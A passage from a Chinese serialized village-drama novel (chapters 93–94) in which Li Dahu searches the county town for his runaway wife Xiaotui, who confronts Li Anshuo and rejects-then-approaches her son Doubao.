等到冬雪乖巧地点头离开后,赵班主将视线重新移回到何芊菊身上,脸上浮现出一抹凝重之色,开口说道:“实不相瞒,夫人,我这院里学习戏曲的孩子们身世大都可怜。他们当中有的自幼便失去了双亲,成为无依无靠的孤儿;还有些则是被狠心的父母所抛弃或贩卖掉的。尽管我身为班主,一直以来都竭尽全力地照顾着他们、关爱着他们,但毕竟我不是他们真正意义上的亲人。所以,很多时候,即使我对他们再好,孩子们心中仍然会存有一些顾虑,有些心里话终究还是不敢向我倾诉。但是,今日您的到来却给整个院子带来了不一样的氛围。当那些孩子们看到您以一个母亲的身份出现在这里时,从他们的眼神里,我分明读到了满满的渴求与羡慕之情。所以,我请您来,并不仅仅只是因为我院子里缺少帮忙打杂做饭之人,我也确实需要一个得力的帮手,更重要的是,我衷心地期望您能够像对待自己的亲生女儿冬雪那般去关心爱护他们每一个人。唯有如此,才能让这些不幸的孩子们真切地感受到那一份温暖与关怀呀!” 听到赵班主这番情真意切的话语,何芊菊不禁为之动容,她连忙点头应道:“班主大人,请您放心好了。既然我已经来到了这里,那么从今往后,我定会将这些可爱的孩子们视作自己的亲生孩子一般悉心照料的!” 赵班主听后,脸上终于露出了欣慰的笑容,他感慨万分地接着说道:“咱们这赵家班的未来可是全系于这群孩子们的身上啦!只要我们齐心协力,用心培养他们成才,相信总有一天,赵家班会在这戏曲界大放异彩的!” 李万原一瘸一拐地捂着自己那张已经被打得面目全非、鼻青脸肿的脸,艰难地走回了李家沟。一路上,他都低着头,生怕被别人看到自己这副狼狈不堪的模样。然而,当他路过李大虎家门口时,却偏偏不巧,李大虎正站在那里和邻居闲聊。 李大虎一眼就瞧见了李万原,不禁惊讶地叫出声来:“哎呦喂,瞧瞧这倒霉玩意儿,怎么搞成这副惨样儿啦?是不是又去勾搭别人家的媳妇儿,结果被人家男人给狠狠揍了一顿啊?哈哈!”周围的人听到李大虎的嘲笑声,纷纷围拢过来,对着李万原指指点点。 李万原本来心情就糟糕透顶,此刻听到李大虎这番冷言冷语,心中的怒火瞬间燃烧起来。他猛地抬起头,怒目圆睁,冲着李大虎大声吼道:“你少在这里幸灾乐祸!就是你家那个贼媳妇儿把我打成这样的!你必须给我赔钱!” 李大虎一听这话,顿时愣住了。过了好一会儿,他才回过神来,急切地问道:“你说啥?我媳妇儿?你真看见了我媳妇儿?她在哪儿??” 第93章 找媳妇儿 李万原见李大虎如此紧张,心里暗自得意。他故意装出一副可怜兮兮的样子,说道:“就在县城里头,本来是去找我媳妇儿的,没想到遇上了你媳妇儿,我跟她讲话,她还说不认识我,看把我给揍的,下手可狠着呢!要不是我跑得快,恐怕连命都没了。所以,你赶紧赔钱!” 李大虎听后,脸色变得喜悦。他二话不说,从口袋里掏出几张皱巴巴的票子,急匆匆地递到李万原手里,焦急地催促道:“快告诉我在哪儿,我马上就去找她!” 就在这时,李大虎的儿子李豆宝闻声赶来。他眼疾手快,一把将李万原手中的票子抢了过去,气愤地说道:“爹,您别听他胡说八道!这家伙就是个骗子,专门编瞎话骗钱的!您咋这么容易就相信他呢?” 李万原瞪大双眼,猛地一挥手,再次高声喊道:“谁骗你们谁是王八羔子!不就是那个小翠嘛,我怎么可能会认错呢,我又不是没见过她!”他一边说着,一边气呼呼地冷哼了一声。 这时,李大虎赶紧走上前来,满脸赔笑地说道:“哎呀,万原兄弟啊,您大人有大量,可千万别跟孩子们一般见识呀!豆宝啊,快,快去买壶好酒回来,今天我跟你万原叔可得好好喝一顿唠唠嗑!” 听到父亲的吩咐,李豆宝嘴里嘟囔着不太情愿,但还是转身出了门去买酒。不一会儿功夫,他就拎着一壶酒回来了。李大虎则忙不迭地接过酒壶,热情地招呼着李万原坐下,并大声朝着王小凤吆喝道:“娘,赶紧去炒两个下酒菜过来,让我们兄弟俩痛痛快快地喝一场!” 不多时,几盘香喷喷的下酒菜便端上了桌。李大虎亲自给李万原倒满了酒杯,然后一脸关切地问道:“万原兄弟,来来来,先喝一杯润润喉。你慢慢说,究竟是不是真的看到我们家小翠啦?” 李万原端起酒杯一饮而尽,用手抹了抹嘴角,愤愤不平地说道:“那还有假吗?瞧瞧我这张脸,被打得都肿成什么样了,疼得我要命啊!”说着,他把自己那张青一块紫一块的脸凑到了李大虎面前。 李大虎见状,不由得吃了一惊,连忙问道:“哟,这到底是怎么一回事啊?小翠有这么大能耐?” 李万原一脸苦相地说道:“哎呀,真是倒霉透顶啦!今儿个原本我满心欢喜地前往县城,就是想去寻我的媳妇。谁曾料到,这半道儿上居然撞见了你家媳妇。当时我也没啥别的想法,单纯就是看到熟人打个招呼嘛。于是我赶忙走上前去,客客气气地对她说:‘嫂子哟,我大虎哥还有孩子可天天念叨着您呐,您啥时候能抽空回趟家瞅瞅呀?’哪晓得就在这个节骨眼上,不知从哪个犄角旮旯里突然杀出一个凶神恶煞的男人来。二话不说,对着我就是一顿拳打脚踢哇,哎哟喂,把我打得那叫一个惨不忍睹!” 李大虎一听这话,顿时火冒三丈,瞪大了眼珠子吼道:“那后来呢?我媳妇到底跑哪儿去了?” 李万原哭丧着脸回答道:“我哪里知道她去哪儿了!我被那混蛋揍得晕头转向的,回过神来的时候,就只见你媳妇跟着那个揍我的男人一块儿扬长而去了!” 李大虎气得咬牙切齿,怒不可遏地骂道:“该死的家伙,敢拐走我媳妇儿,老子非得找到他不可!看我不好好收拾他一顿!” 李万原连忙劝道:“大虎哥呀,这天色都已经这么晚了,黑灯瞎火的,您上哪儿去找人呐?” 李大虎却不管不顾,梗着脖子喊道:“那你倒是快告诉我,你究竟是在啥地方瞧见他俩的?我哪怕在那儿死等,就不信等不来他们!” 李万原许是酒喝的有些上了头,满脸通红地对着李大虎说道:“哎呀,大虎哥哟,您别这么着急嘛!再缓个两三天如何?等小弟我的伤势稍稍好转一些,到时候一定亲力亲为地带您去找,您看成不?” 李大虎豪爽地点点头,应道:“成!那就都依老弟你的意思来办!” 待二人酒足饭饱之后,李万原摇摇晃晃、步履蹒跚地朝着自家方向走去。一路上,他那东倒西歪的身影犹如风中残烛一般,仿佛随时都会摔倒在地。 当他途经李安硕家门口时,正巧被站在院子里的郭美娟瞧见了。郭美娟见状,立马跑上前去把李万原扶进了自己家的院子里坐着! 李安硕此时也快步走到李万原身旁。只见李万原面色酡红,身上散发着浓烈的酒气,让人不禁皱起眉头。 李安硕关切地问道:“万原兄弟,你这究竟是咋回事儿啊?在哪里喝成这样啦?还有你这脸上……到底是因为喝醉不小心摔的呢,还是被别人给揍的呀?” 随后,郭美娟拿来了一瓶药膏,递给了李安硕,示意李安硕给李万原涂上。 李安硕接过药膏,轻轻地用手指蘸取少许,轻柔而细致地涂抹在李万原那红肿淤青的脸颊上。 李万原醉眼朦胧地坐在那里,身体有些不稳,嘴里含糊不清地嘟囔着:“李......李安硕!你……这臭小子......倒......真是......有......福气......啊......”他的脸上泛着红晕,眼神迷离,显然已经醉得不轻。 李安硕皱起眉头,关切地问道:“你这是喝了多少啊?” 李万原嘿嘿一笑,露出一口黄牙,神秘兮兮地说道:“你猜......我......今天......见......着......谁了?” 李安硕心中涌起一丝好奇,但看着李万原醉醺醺的样子,又觉得问不出个所以然来,便随口应道:“见谁了?” 李万原像是听到了什么好笑的事情一样,哈哈大笑起来,然后猛地把头凑近李安硕,压低声音说道:“就是......跟你......在玉米地里......那小......” 然而,话还没说完,李安硕脸色骤变,急忙伸手捂住了李万原的嘴巴!这突如其来的举动让李万原猝不及防,他挣扎了几下想要挣脱李安硕的手,却没想到一个踉跄,跑到一边哗哗地吐了一大滩秽物出来。 正在这时,郭美娟走了过来,她看到眼前的场景,脸上露出一脸疑惑的神情,目光在李安硕和李万原之间来回扫视。 李安硕尴尬地笑了笑,解释道:“他喝多了,我把他送回去吧!” 郭美娟却用手比划着:“不着急,还是先给他喝碗醒酒汤再送回去吧。”说着,她转身走进厨房,准备去煮醒酒汤。 郭美娟轻轻地推开房门,迈着轻盈的步伐走进屋内。她径直走向厨房,熟练地点着柴火,开始煮起了醒酒汤。那锅子里的水渐渐沸腾起来,冒出缕缕热气,而郭美娟则有条不紊地将各种食材放入锅中,搅拌均匀,耐心等待着醒酒汤煮好。 另一边,李安硕凑到李万原跟前,一脸焦急地喊道:“你快给我清醒一下啊!”他的声音带着一丝急切和恼怒。 李万原醉眼惺忪地看着李安硕,嘴里含糊不清地嘟囔道:“我可……清醒……着呢!你小子……当年坏了我……的好事儿!……差点儿……我就能……”话未说完,便打了一个酒嗝。 李安硕眉头紧皱,赶紧打断他:“你别再乱说话了!” 然而,李万原却像没听见似的,继续说道:“你……小子……最后……还不是……娶了个……哑巴……哈哈哈哈……”他放肆地大笑起来,笑声回荡在房间里。 就在这时,郭美娟刚好端着热气腾腾的醒酒汤从厨房里走了出来。当她听到李万原说的那些话时,脸色瞬间变得阴沉下来,眼中闪过一丝愤怒,但她还是强忍着怒气,默默地把醒酒汤递给了李安硕,便回头进了屋。 李安硕接过醒酒汤,轻声对李万原说道:“快,把醒酒汤喝了,我送你回去!” 但李万原却用力地摇着头,大声嚷嚷道:“喝什么……醒酒汤……老子……要喝酒!” 李安硕无奈地叹了口气,只好顺着他说道:“好好好,来,喝酒!”然后端起醒酒汤,递到了李万原面前。 李万原双手紧紧地捧着一碗醒酒汤,仰起头便大口大口地灌进嘴里,喉咙里发出一阵咕咚咕咚的声响。片刻之后,他一抹嘴角,皱起眉头嚷嚷道:“哎呀,你这酒……味道咋不对劲呢?该不会是假酒吧!” 一旁的李安硕无奈地摇了摇头,伸手拉起李万原说道:“行了行了,还是先送你回家去吧!” 李万原却不肯挪动脚步,反而摇晃着身子凑近李安硕,满嘴酒气道:“我可……跟你讲啊……那个……李大虎……嘿,没想到啊,他居然……真的给我……钱啦!” 李安硕见此情形,二话不说,一把拽住李万原的胳膊,连拖带拉地将他往门外带去。一路上,李万原跌跌撞撞,嘴里还不停地嘟囔着什么。好不容易到了家门口,李安硕用力将李万原推进屋里,然后转身准备离开。 这时,李安硕又忍不住回头叮嘱道:“你啊,以后别再乱喝酒了!” 然而,李万原一听这话可不乐意了,他瞪大双眼,指着李安硕的鼻子叫骂起来:“哟呵,你小子……现在长……本事了,还敢……管起我来了?哼!……不过嘛,我……看到你娶了个……哑巴……,心里倒是挺……痛快的!每次瞧见那个……何芊菊……望着你,我就……来气,真想狠狠……揍她一顿!那贱女人……简直……一无是处,居然……连个儿子都……生不出来,还比不上一个……哑巴呢!哑巴……至少还能给你……传宗接代,生个大……胖小子。可她倒好,白白让……老子花了那……么多的彩礼钱,真是亏……大发了!” 李安硕听完之后,脸色瞬间阴沉下来,他的手掌高高扬起,然后带着凌厉的风声,“啪”的一声又重重地落在了李万原的脸上。这一巴掌力道极大,打得李万原一个踉跄,差点摔倒在地。 李万原只觉得脸颊火辣辣地疼痛,他下意识地捂住了自己那被打疼了的脸,原本浓重的酒意也顿时消散了不少。他瞪大眼睛,难以置信地看着李安硕,嘴里嘟囔着:“李安硕,你他妈真下狠手啊!” 李安硕怒目圆睁,指着李万原的鼻子吼道:“下次你要是再敢乱说话,信不信我直接把你的腿给打断!”说罢,他头也不回地转身气呼呼地走了出去,留下一脸惊愕的李万原呆立在原地。 李安硕心情沉重地往家里走去,一路上脑海里不断回荡着刚才与李万原争吵的场景。当他回到家中时,发现屋内一片安静祥和。 只见两个可爱的孩子正安静地躺在床上,甜甜地睡着了。而郭美娟则坐在床边,昏黄的灯光映照出她温柔的身影。 李安硕缓缓走近郭美娟,借着微弱的光线,他看到郭美娟正在用一块洁白的手帕轻轻擦拭着眼角。 他的心猛地一紧,关切地问道:“美娟,你是因为万原的那些话不开心了吗?” 郭美娟微微颤抖了一下身子,抬起头来,眼中闪烁着泪光。她咬了咬嘴唇,用手势比划道:“我知道,我只是一个哑巴,我......配不上你。” 李安硕伸出手臂,温柔的将郭美娟紧紧地搂入怀中。他皱起眉头,温和地说道:“别哭啦!瞧瞧咱们这两个孩子,多乖巧可爱呀!以后可不许再这般胡思乱想了哦!这辈子能有你和孩子陪着我,已经是我最大的福分了!” 郭美娟听着李安硕温暖而坚定的话语,心中的不安稍稍得到了慰藉。她微微地点了点头,如同一只温顺的小猫般,轻轻地将头倚靠在了李安硕宽厚坚实的肩膀上。此刻,两人静静地依偎在一起,享受着这片刻宁静与温馨。 时光匆匆流逝,转眼间又过去了好几天。这天清晨,阳光透过斑驳的树叶洒在地上,形成一片片金色的光斑。李大虎那颗急躁的心再也按捺不住了,他急匆匆地来到李万原家门前,抬起手用力地敲打着那扇略显陈旧的木门。 屋内,正在睡梦中的李万原被一阵急促的敲门声惊醒。他迷迷糊糊地睁开双眼,一边揉着惺忪的睡眼,一边不满地嘟囔道:“是谁啊?这么早来扰我的好梦!”说着,他翻身下床,拖沓着鞋子朝门口走去。 当李万原打开门时,看到门外站着一脸急切的李大虎,不禁有些惊讶。李大虎迫不及待地开口说道:“万原兄弟,是我啊!前两天你不是亲口答应要带我一同去寻找你嫂子吗?怎么到现在都没有动静呢?” 李万原听后,先是一愣,随即伸手挠了挠自己乱蓬蓬的头发,脸上露出一丝迷茫之色。他努力回忆着前几日的事情,但由于喝得太多,脑海中的记忆早已变得模糊不清。 最后,他摇了摇头,苦笑着回答道:“我说的?我自己的媳妇儿都还没找着呢,哪有心思帮你找媳妇儿啊?”说完,他不好意思地笑了笑,心里却暗自懊恼自己竟然酒后都说了什么胡话。 李大虎瞪大了眼睛,怒气冲冲地指着李万原吼道:“好哇你,拿了我的钱居然还敢不认账!赶紧把钱给我还回来!”他的声音犹如洪钟一般响亮,震得周围人的耳膜嗡嗡作响。 被李大虎这么一吼,李万原先是一愣,随后拍了一下自己的脑门儿,恍然大悟般说道:“哎呀呀,哥,瞧我这记性,我想起来啦……真的想起来啦!”说完,脸上露出讨好的笑容。 李大虎冷哼一声,双手抱胸,斜睨着李万原,没好气地说:“哼!这会儿倒是想起来了?早干嘛去了你!” 李万原赶忙凑到李大虎跟前,陪着笑脸说道:“嘿嘿,哥,您别生气嘛。这不,我正打算跟您说呢,您帮我找媳妇儿的时候,能不能顺便也帮我把我媳妇儿一块儿带回来呀?”他一边说着,一边用期待的眼神看着李大虎。 李大虎听了这话,大手一挥,豪爽地应道:“那不是应该的嘛!只要你能帮我找到你嫂子,让我干啥都行!” 话音未落,两人便抬腿朝门外走去。一路上,他们有说有笑,仿佛已经看到了各自媳妇儿站在眼前的情景。走着走着,路过李安硕家的门口时,正在院子里忙碌的李安硕听到动静,好奇地探出头来问道:“哟呵,大虎、万原,你们俩这风风火火的,是要去哪儿啊?” 李大虎咧开嘴笑了起来,露出一口大白牙,说道:“万原兄弟跟我说呀,前两天的时候,他在那县城里瞧见你小翠嫂子啦!这不,我寻思着让他帮我一块儿再找找看呢!” 听到这话,李安硕的心猛地一沉,像是被重锤狠狠地敲了一下似的,发出“咯噔”一声响。他心里暗自思忖道:哎呀,如果李万原这家伙又像那天一样喝得醉醺醺的,然后口无遮拦地乱说一通,那可如何是好啊!想到这里,李安硕赶忙开口说道:“要不这样吧,大虎哥,反正我现在也没啥事,我也陪着你们一块去找找看吧!” 李大虎听后,脸上立刻浮现出欣喜的神色,拍了拍李安硕的肩膀,大声赞道:“哈哈,安硕兄弟果真是够义气啊!说得没错,人多力量大嘛,那咱们就一块儿出发!” 李安硕向身旁的郭美娟简略地交代了几句之后,便匆匆跟上了他们的脚步。几个人一路前行,气氛显得有些凝重和紧张。 突然间,只见一道小小的身影跟了出来,定睛一看,原来是李豆宝。他满脸焦急地喊道:“爹,你这又是要去哪儿啊?” 李大虎闻声停下脚步,转过身来看着儿子,一脸坚定地回答道:“豆宝啊,爹自然是要去把你娘给寻回来啊!” 李豆宝一听这话,小嘴一撇,气鼓鼓地说道:“找她作甚?还是别管她啦,我们回家去吧,我可不想让您再到处奔波去找她了!”说完,他还跺了跺脚,表示自己的不满和坚决。 李万原停下了脚步,转头对李大虎说道:“我说大虎哥呀,要不然咱们把豆宝也一块儿带上?你想想看哦,万一她看到我们几个大老爷们儿,没准儿会赶紧躲开呢!但是如果带上豆宝,那可是她的亲生儿子啊,她总不至于连自己的孩子都不愿意见上一面吧?” 李大虎听了,眼睛一亮,连连点头称是:“嘿哟,还是万原兄弟你想得周到啊!行,那就带上豆宝,一起去找你嫂子!” 李豆宝心中充满了抗拒,他实在不想去找那个传闻中的娘。自从有记忆以来,他根本就没见过这个人,又怎么可能会对她产生任何感情呢?对于这个素未谋面的亲人,李豆宝觉得那不过就是一个陌生的称呼罢了。 这时,李大虎走上前来,满脸堆笑地哄着李豆宝:“哎呀,我的乖儿子,你就别想那么多啦。咱们这次去啊,就当是带你到县城里玩耍一趟嘛,爹保证带你好好逛逛,还给你买好多好吃的哟!” 听到这话,李豆宝原本紧绷着的小脸儿终于稍稍放松了一些,但还是将信将疑地问道:“真的吗?我能吃烧鸡吗?爹可不许骗我哦!” 李大虎连忙拍着胸脯说道:“当然是真的啦!爹什么时候骗过你呀?你不是一直说想吃烧鸡吗?还有那鲜美的羊肉汤,只要你乖乖听话跟爹一起去,这些好吃的统统都给你买!” 一想到香喷喷的烧鸡和热气腾腾的羊肉汤,李豆宝的眼睛一下子亮了起来,嘴角也忍不住微微上扬,露出了一丝期待的笑容:“好耶!那我们快走吧,爹!我已经等不及要去吃那些好吃的啦!”说着,便拉着李大虎的手,迫不及待地朝着县城的方向走去。 第94章 薄情郎 四个人兴致勃勃地朝着县城进发。一路上大家有说有笑,充满期待。到了县城后,李万原则凭借着脑海中的记忆,开始在曾经偶遇过小翠的那条巷子周围不停地转悠起来。他的目光急切地扫过每一个角落,心中默默祈祷能够再次见到那个令他魂牵梦绕的身影。然而,任凭他如何努力寻找,却始终未能如愿以偿。 这时,一旁的李豆宝忍不住抱怨道:“爹,您不是答应要带我吃好吃的吗?怎么光在这里转啊转的,我的肚子都快要饿扁啦!” 李大虎听到儿子的话,心里不禁有些愧疚,连忙安慰道:“好好好,咱们这就去找个地方吃饭去。” 说着,一行人继续往前走,不多时便来到了一家看上去颇为不错的餐馆前。只见那店门口挂着一块红色的招牌,上面龙飞凤舞地写着几个大字——美味斋。走进店里,宽敞明亮的大堂里摆放着十几张桌椅,此时已有不少客人正在用餐。 见有人进来,掌柜的赶忙迎上前,满脸笑容地问道:“各位想吃点什么呀?” 李大虎大手一挥,豪爽地说道:“给我们来一只烧鸡、四碗羊肉面多加点羊肉汤,再配上两个清爽可口的小菜和一壶美酒!就这些,麻烦快点上菜哈!” 掌柜的连连点头应道:“好嘞,几位稍等片刻,马上就给你们准备妥当!”说完,便转身快步走向后厨忙活去了。 李安硕面带焦急之色,对着掌柜问道:“掌柜的,麻烦问一下,你们这附近可有茅房啊?实在有些憋不住啦。” 掌柜连忙热情地回应道:“有的有的,客官您只需往后院再往里走上一段路就到啦。” 得到答案后,李安硕如蒙大赦般说道:“那好,我先去解决下内急,马上就回来。” 一旁的李万原点了点头,笑着说道:“行,你快去快回吧,我们就在这儿等着你。” 然而,他们谁也没有察觉到,就在不远处的角落里,有一双神秘的眼睛正悄悄地窥视着他们的一举一动。 不多时,李安硕解决完生理问题,脚步轻快地往回走着。当他走到一处拐角的时候,冷不丁前方出现一道身影挡住了他的去路。 定睛一看,竟然是李大虎苦苦寻觅的小翠!只见她面若桃花,眉目之间含情脉脉,嘴角挂着一抹似笑非笑的弧度。 还没等李安硕反应过来,小翠已经轻盈地走上前一步,伸出纤纤玉手轻轻地抚在了李安硕宽阔的胸膛之上,娇嗔地说道:“哎呀,真是好久不见了呢,你看看你,都晒黑啦。” 李安硕心中一惊,下意识地想要推开小翠的手,同时压低声音警告道:“你别这样动手动脚的,李大虎他们可就在附近呢!要是被他们发现了,咱俩都得吃不了兜着走!” 小翠双手抱胸,下巴微微上扬,一脸骄傲地说道:“在附近又怎么了?这地方我闭着眼睛都能走个遍,我对这里熟悉得不能再熟悉了。哼,我要是真心不想让他找到,就算他把这片翻个底朝天,也绝对不可能发现我的!” 李安硕瞪大了眼睛,难以置信地看着小翠,提高音量喊道:“难道你连自己的亲生儿子都不想见一面吗?” 听到这话,小翠的身体明显僵了一下,但很快她便回过神来,眼神闪烁不定,犹豫了片刻后,咬咬牙道:“那种薄情人的孩子,我才没兴趣去惦记呢!想当年,他是如何狠心抛弃我们母子俩的,这些事我可都记得清清楚楚!” 李安硕皱起眉头,满脸狐疑地问道:“要论薄情,真正薄情寡义的人恐怕应该是你吧!李大虎这么多年来一直在四处打听寻找你的下落,从未放弃过……” 小翠像是听到了天底下最大的笑话一般,用手捂住嘴巴咯咯咯地笑了起来,笑得眼泪都快流出来了:“哈哈哈哈,那种货色也配叫深情?我当初若不是肚子里已经有了个孩子怎么可能会跟着他去那种地方!!你再看看那豆宝,无论是长相还是性格,哪点跟他相像?”说着,她还特意指了指不远处正在餐馆门口玩耍的豆宝。 李安硕顺着小翠手指的方向看去,仔细端详着豆宝。的确,单从外貌上来看,李大虎和豆宝简直就是天差地别,没有丝毫相似之处。他心中不禁犯起了嘀咕:难不成这孩子真不是李大虎的? 李安硕一脸疑惑地问道:“那豆宝到底是谁的孩子?”他紧紧盯着小翠,眼中充满了好奇和探寻。 小翠嘴角微微上扬,似笑非笑地回应道:“这可就跟您没啥关系啦!咋滴?难道安硕大哥您,还想跟我一起生个娃娃不成?”她轻挑眉毛,眼神中透着一丝妩媚与挑逗。 李安硕听后,连忙摆手说道:“别瞎说,我早已有儿女,用不着您操心!”说完,他下意识地摸了摸鼻子,显得有些局促不安。 小翠见状,娇嗔地哼了一声:“哟呵,还真是个无情无义的薄情郎呢!这才几年的工夫,就将人家抛诸脑后啦!安硕大哥,您倒是给评评理儿,究竟是奴家我更好些呢,还是您如今那位夫人更胜一筹哇?” 不得不承认,出身于风月之地的小翠对于如何勾引男子着实有着一手绝活儿!短短几句话的时间,便已成功地将李安硕撩拨得面红耳赤、心跳加速。 李安硕眼见局势不妙,急忙转身想要逃离此地。然而,就在他刚迈开脚步之际,却被小翠一把拉住,并柔声央求道:“诶,大哥且慢走嘛!麻烦您帮我一个小忙,进去把豆宝叫出来可好呀?” 李安硕哪里还敢多做停留,他挣脱开小翠的手,头也不回地快步走开,只听背后还传来了一句:“我已经不能再生孩子了!”。 回到餐馆之后,李安硕找了个位置坐下,心不在焉地吃起了面前的面条。 此刻,他的内心无比纠结,脑海中一直在思考着要不要将遇见小翠这件事情告知他们…… 李万原一脸疑惑地看着李安硕,大声喊道:“你怎么回事啊,上个厕所回来跟丢了魂似的,难道见鬼啦?”然而,李安硕仿佛根本没听到他的话一样,自顾自地闷着头坐在那里一声不吭。 过了一会儿,大家都吃得饱饱的。这时,可爱的豆宝摸着圆滚滚的小肚子说道:“爹,我肚子好胀呀,我也要去茅厕!” 一旁的李大虎则满不在乎地挥挥手说:“哎呀,小孩子家的,去啥茅厕哟,到路边随便找个地方站着尿一下就行啦!” 豆宝听了爹爹的话,虽然心里有点不情愿,但还是乖乖地站起身来,独自走出房门去找可以方便的地方。他东张西望了一会儿,最后发现了拐角处比较隐蔽,于是便快速跑过去解开裤子开始尿尿。李大虎看着儿子小小的身影消失在视线里,并没有太在意,继续和其他人闲聊着。 就在豆宝刚刚尿完,刚提起裤子的时候,突然间,一个女人出现在了他的面前。只见那女人手里拿着一串红彤彤、亮晶晶的糖葫芦,微笑着递向豆宝,并轻声问道:“你就是豆宝吧?” 豆宝先是一愣,随后下意识地伸手接过糖葫芦,抬头仔细打量起眼前这位陌生的女子。她穿着一身淡粉色的衣裳,头发梳得整整齐齐,脸上略施粉黛,看起来十分温柔美丽。 豆宝眨巴着大眼睛,好奇地问:“你是谁呀?我好像从来没见过你!” 那女人微微一笑,蹲下身子摸了摸豆宝的头,柔声说道:“傻孩子,我就是你的亲娘呀!快告诉娘,你觉得娘漂不漂亮?” 李豆宝涨红着脸,怒目圆睁地冲着面前的女子喊道:“坏女人,你才不是我娘呢,我根本就没有娘!”话音未落,他便猛地扭过头去,像一只受了惊的小鹿般撒腿狂奔开来! 站在原地的小翠望着李豆宝远去的背影,无奈地摇了摇头,轻叹一声后,也缓缓转过身去,落寞地离开了。 只见李豆宝一路飞奔,气喘吁吁地来到了李大虎身旁。他气鼓鼓地将手中还没吃完的糖葫芦狠狠地扔到地上,嘴里嘟囔着:“爹,咱们赶紧回家!我一点儿都不想看到那个坏女人!” 李大虎被这突如其来的一幕搞得有些摸不着头脑,满脸疑惑地问道:“啥坏女人呀?还有,你手里的糖葫芦又是从哪弄来的?” 一旁的李安硕见状,连忙凑过来解释道:“我猜可能是他娘给他买的吧!” 听到这话,李大虎脸上瞬间浮现出难以掩饰的惊喜之色,迫不及待地追问道:“真的吗?儿子,你竟然见到你娘啦?那她现在人在哪里呢?快告诉爹!” 然而,李豆宝却把头一扭,冷哼一声说道:“哼,我可不认识她,她绝对不可能是我的娘!”说着,他还用小脚使劲儿地踩踏着地上已经摔得不成样子的糖葫芦,仿佛要把心中所有的不满和愤怒都发泄出来一般。 看着儿子这般倔强的模样,李大虎心急如焚,二话不说便朝着刚才李豆宝跑来的方向急匆匆地奔去,一边跑一边四处张望着,满心期待能够找到小翠的身影…… 只见那豆宝小脸涨得通红,气鼓鼓地一屁股坐在椅子上,双手抱胸,身体挺得直直的,就像一尊雕塑似的,一动也不动! 一旁的李万原见状,无奈地摇了摇头说道:“得了得了,你们两个就在这坐着等会儿吧,我也出去溜达溜达!”说罢,便转身离开了座位。 此时,李安硕静静地陪在豆宝身旁,而李大虎却是心急如焚,如同热锅上的蚂蚁一般,在狭窄的巷子里四处寻找着。 至于李万原嘛,其实他心里头早有盘算,他同样迫不及待地想要找到自家媳妇,然后一块儿带回去呢! 然而,李大虎和李万原刚刚跑出去没多久,令人意想不到的事情发生了——小翠竟然突然走进了餐馆里面!她快步走到掌柜面前,脆生生地喊道:“掌柜的,麻烦您给那边那个孩子打包一只烧鸡!” 听到这话,原本还闷不吭声的李豆宝猛地抬起头来,瞪圆了双眼,大声吼道:“哼,我才不要你的烧鸡呢!” 李安硕急忙扭头环顾四周,发现并没有看到李大虎的身影,不禁有些惊讶地看向小翠,喃喃自语道:“你居然......” 小翠倒是显得十分镇定自若,她微微一笑,轻声说道:“我都说啦,这地方我熟悉得很呐!” 李豆宝一听,更是气得直跺脚,冲着小翠嚷嚷起来:“你赶快滚开!我爹盼着你能回家,可我一点儿都不想见到你!” 小翠瞪大了眼睛,难以置信地看着眼前的人,语气尖锐地质问道:“你爹?你就那么确定,他真的是你爹吗?” 李安硕闻言脸色瞬间变得阴沉下来,他怒视着小翠,压低声音呵斥道:“请你不要在孩子面前胡言乱语!最起码他还有个爹疼爱着、奶奶照顾着,哪像你这般狠心,连自己的亲生骨肉都能抛弃不顾!” 站在一旁的李豆宝紧张的站在了李安硕的后面,小脸憋得通红,气愤地喊道:“我爹就是我爹,这和你有什么关系!” 说完,他用力一拽李安硕的胳膊,大声说道:“叔,我们别理这个坏女人,她要是还赖在这里不走,那咱们走好了!” 听到这话,小翠先是一愣,随后脸上露出一丝苦笑,她深吸一口气,缓缓说道:“好吧!既然你们这么不欢迎我,那我出去就是了!不过,我只想再说最后一句话,如果哪天你想通了,随时回来找我,我有的是钱,可以让你每天都吃上香喷喷的烧鸡,还能带你离开这里,想去哪儿都行!” 李豆宝听后,气得直跺脚,冲着小翠怒吼道:“你快给我滚!我才不会跟你这种没良心的人走呢!” 话音未落,小翠突然转身面向李安硕,出人意料地道了声谢谢,然后头也不回地快步走出去了。 就在小翠离去的那一刻,一直强忍着泪水的李豆宝再也控制不住自己的情绪,猛地扑到桌子上,放声大哭起来。他小小的身躯因为哭泣而不停地颤抖着,仿佛心中所有的委屈与痛苦都在此刻化作了无尽的泪水奔涌而出。 就在这时,掌柜手脚麻利地将一只色泽金黄、香气扑鼻的烧鸡和几块鲜嫩多汁的烧肉仔细包好,轻轻地放进了一个精致的提篮之中。那烧鸡散发着诱人的香味,仿佛在向人们诉说着它的美味。 豆宝却倔强地别过头去,大声说道:“我才不要她给的东西呢!”然而,站在一旁的李安硕则微笑着向掌柜道谢:“多谢掌柜的啦!” 接着他转过头来,语重心长地对豆宝说:“豆宝呀,咱们把这些好吃的带回去,让奶奶也尝尝好不好?你想想看,奶奶每天那么辛苦,照顾你们,多不容易啊!” 豆宝听了李安硕的话,缓缓转过头来,目光落在了那只香喷喷的烧鸡上。泪水渐渐模糊了她的双眼,他哽咽着说道:“我一定会努力读书的,等我长大了,要靠自己的本事赚钱给奶奶买好多好多的烧鸡吃!”说完,豆宝伸手抹了一把眼泪,接过了那个装满美食的提篮,紧紧地抱在了怀里。 李大虎心急如焚,犹如一只没头的苍蝇般四处乱窜。他急匆匆地转过一条又一条狭窄的巷子,额头上冒出豆大的汗珠,可始终未能发现小翠的半点身影。 最终,疲惫不堪且满心失望的李大虎无奈地折返到餐馆内。一进门,他的目光就被桌上那个精致的篮子吸引住了。他瞪大双眼,快步走到桌前,指着篮子向李安硕问道:“李安硕,这是你买的吗?” 李安硕轻轻摇了摇头,然后将视线投向了一旁的李豆宝。 李大虎见状,立刻转向李豆宝,语气急切地追问道:“豆宝,快告诉爹,这个篮子到底是从哪里来的呀?”然而,李豆宝却低着头,一言不发,只有晶莹的泪珠不断地从她那粉嫩的脸颊滑落。 李大虎愈发焦急起来,他提高音量再次追问:“是不是小翠来过啦?还买了这么多好吃的东西?”这时,只见李安硕点了点头。 李大虎心中一喜,但紧接着又迫不及待地问道:“那她有没有跟你们说什么啊?她人现在在哪里呢?” 又仔仔细细地查看了一大圈之后,仍然没有看到小翠的身影。这时,李豆宝一脸不耐烦地说道:“行了,你别找了,我早就把她给赶走啦!” 听到这话,李大虎顿时瞪大了眼睛,满脸惊愕地问道:“什么?你......你怎么能把她赶走呢?她到底往哪个方向去了呀?” 